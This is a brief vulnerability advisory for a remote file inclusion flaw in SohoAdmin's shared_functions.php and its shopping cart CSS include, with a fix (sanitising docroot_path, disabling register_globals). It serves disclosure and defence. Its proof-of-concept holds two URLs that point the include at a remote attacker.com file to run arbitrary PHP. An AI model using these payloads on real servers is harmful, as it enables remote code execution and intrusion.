Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in script shared_functions.php
--------------------------shared_functions.php-----------------------------------
....
&lt;?
...
include_once&#40;$_SESSION[&#39;docroot_path&#39;].&quot;/sohoadmin/includes/mysql_insert.class.php&quot;&#41;;

# userData manipulation class &#40;works with misc_userdata table&#41;

include_once&#40;$_SESSION[&#39;docroot_path&#39;].&quot;/sohoadmin/includes/userdata.class.php&quot;&#41;;

...
----------------------------------------------------------

Input passed to the &quot;$_SESSION[&#39;docroot_path&#39;]&quot; parameter in shared_functions.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files :

/client_files/shopping_cart/pgm-shopping_css.inc.php
/program/includes/shared_functions.php



Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/sohoadmin/program/includes/shared_functions.php?_SESSION[docroot_path]=http://attacker.com/inject.txt?
http://target.com/sohoadmin/client_files/shopping_cart/pgm-shopping_css.inc.php?_SESSION[docroot_path]=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Sanitize variable $_SESSION[&#39;docroot_path&#39;] affected files.
- Turn off register_globals

Timeline :
